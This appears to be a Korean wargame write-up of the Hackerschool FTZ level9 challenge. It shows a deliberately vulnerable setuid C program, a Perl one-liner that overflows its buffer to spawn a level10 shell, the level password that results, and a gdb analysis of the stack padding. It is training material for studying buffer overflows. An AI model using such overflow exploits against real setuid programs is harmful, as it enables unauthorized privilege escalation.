본문 바로가기

System Hacking/해커스쿨 FTZ

해커스쿨 FTZ ( level9 -> level10 ) by ORANG

FTZ_level9

 

 [level9@ftz level9]$ ls

hint  public_html  tmp

[level9@ftz level9]$ cat hint

 

 

다음은 /usr/bin/bof의 소스이다.

 

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

 

main(){

 

  char buf2[10];

  char buf[10];

 

  printf("It can be overflow : ");

  fgets(buf,40,stdin);

 

  if ( strncmp(buf2, "go", 2) == 0 )

   {

        printf("Good Skill!\n");

        setreuid( 3010, 3010 );

        system("/bin/bash");

   }

 

}

 

이를 이용하여 level10의 권한을 얻어라.

 

슬슬 BOF(버퍼 오버 플로우) 문제가 나오기 시작하네요ㅎㅎ

BOF에 관한 자료는 따로 정리해 포스팅하겠습니다.

 

 

—- 낮은 메모리 주소 —-

buf [10]

buf2 [10]

SFP [4]

RET [4]

—— 높은 메모리 주소 —-

 

 

간단하게 메모리 구조를 예상해 보면 위 그림과 같습니다.

프로그램의 작동 방식을 보면

표준입력으로, 최대 40바이트의 크기를 입력받아, buf에 저장하는 군요.

그후 buf2의 문자열 중 2바이트 크기만큼 “go”러는 문자열과 비교하여 일치하면

setreuid를 통해 level10의 권한을 가진 셸을 띄우게 됩니다.

 

 [level9@ftz tmp]$ ls -l /usr/bin/bof

-rws--x---    1 level10  level9      12111  6월  5 08:52 /usr/bin/bof

[level9@ftz tmp]$ /usr/bin/bof

It can be overflow : 1234567890go

 

하지만 10바이트 크기의 쓰레기값 + 2바이트 크기의 go 를 입력해보면 반응이 없습니다.

메모리 사이에 더미 메모리가 있기 때문인데요. 펄스크립트를 통해 go로 20바이트 쯤 덮어버리겠습니다.

 

 [level9@ftz tmp]$ (perl -e 'print "go"x10'; cat) | /usr/bin/bof

 

It can be overflow : Good Skill!

id

uid=3010(level10) gid=3009(level9) groups=3009(level9)

my-pass

 

Level10 Password is "interesting to hack!".

 

level10 패스워드가 보이네요.

더 정확한 분석을 위해 level10으로 로그인 후 /usr/bin/bof를 gdb로 분석해보겠습니다.

필요한 부분만 보면..

 

 [level10@ftz tmp]$ gdb /usr/bin/bof

GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu"...

(gdb) disas main

Dump of assembler code for function main:

0x08048420 <main+0>: push   %ebp

0x08048421 <main+1>: mov    %esp,%ebp

0x08048423 <main+3>: sub    $0x28,%esp

…생략…

 

main+3 를 보면 16진수로 0x28.. 40바이트의 메모리를 확보하는게 보이네요

변수+더미 의 크기가 40바이트니 더미의 크기까지 계산해보겠습니다.

디스 어셈블 코드를 보면

 0x08048420 <main+0>: push   %ebp

0x08048421 <main+1>: mov    %esp,%ebp

0x08048423 <main+3>: sub    $0x28,%esp

0x08048426 <main+6>: and    $0xfffffff0,%esp

0x08048429 <main+9>: mov    $0x0,%eax

0x0804842e <main+14>: sub    %eax,%esp

0x08048430 <main+16>: sub    $0xc,%esp

0x08048433 <main+19>: push   $0x8048554

0x08048438 <main+24>: call   0x8048350 <printf>

0x0804843d <main+29>: add    $0x10,%esp

0x08048440 <main+32>: sub    $0x4,%esp

0x08048443 <main+35>: pushl  0x8049698

0x08048449 <main+41>: push   $0x28

0x0804844b <main+43>: lea    0xffffffd8(%ebp),%eax

0x0804844e <main+46>: push   %eax

0x0804844f <main+47>: call   0x8048320 <fgets>

0x08048454 <main+52>: add    $0x10,%esp

0x08048457 <main+55>: lea    0xffffffe8(%ebp),%eax

0x0804845a <main+58>: sub    $0x4,%esp

0x0804845d <main+61>: push   $0x2

0x0804845f <main+63>: push   $0x804856a

0x08048464 <main+68>: push   %eax

0x08048465 <main+69>: call   0x8048330 <strncmp>

0x0804846a <main+74>: add    $0x10,%esp

0x0804846d <main+77>: test   %eax,%eax

0x0804846f <main+79>: jne    0x80484a6 <main+134>

0x08048471 <main+81>: sub    $0xc,%esp

0x08048474 <main+84>: push   $0x804856d

0x08048479 <main+89>: call   0x8048350 <printf>

0x0804847e <main+94>: add    $0x10,%esp

0x08048481 <main+97>: sub    $0x8,%esp

0x08048484 <main+100>: push   $0xbc2

0x08048489 <main+105>: push   $0xbc2

0x0804848e <main+110>: call   0x8048360 <setreuid>

0x08048493 <main+115>: add    $0x10,%esp

0x08048496 <main+118>: sub    $0xc,%esp

0x08048499 <main+121>: push   $0x804857a

0x0804849e <main+126>: call   0x8048310 <system>

0x080484a3 <main+131>: add    $0x10,%esp

0x080484a6 <main+134>: leave

0x080484a7 <main+135>: ret

End of assembler dump. 

 

스택은 거꾸로 자라기 때문에ㅎㅎ

함수로 인자가 전달될 떄, 어셈블리어에서는 순서가 반대로 전달됩니다.

main+61 ~ main+69 부분을 보면

strncmp(buf2, "go", 2) 부분인것 같군요

eax레지스터가 가리키는 값이 buf2의 시작부분입니다.

그렇다면 main+68에 breakpoint를 걸고 eax레지스터에 저장된 값을 본다면 더미의 크기를 알 수 있겠네요

 

 (gdb) b * main+68

Breakpoint 1 at 0x8048464

(gdb) r

Starting program: /usr/bin/bof

It can be overflow : AAAAAAAAAABBCCEEFFGG

 

Breakpoint 1, 0x08048464 in main ()

(gdb) x/x $eax

0xbfffeda0: 0x47474646

 

 더미의 크기는 짝수로 올라가기때문에 2개씩 값을 증가시켰습니다.

eax에 저장된 값은 0x47474646이군요. 이것은 리틀 에디안 방식으로 표시된 값이기 때문에

실제로는 46464747 이라고 할 수 있습니다.ㅎㅎ 0x46 -> (십진수로) 70 -> 아스키코드로 F 입니다.

그렇다면 buf2의 시작값은 F부터겠네요, 따라서 더미의 크기는 6바이트 입니다.

메모리 구조를 다시 본다면..

 

 

—-낮은 메모리 주소—-

buf [10]

dummy [6]

buf2 [10]

dummy [6]

dummy [8]

SFP [4]

RET [4]

—-높은 메모리 주소—-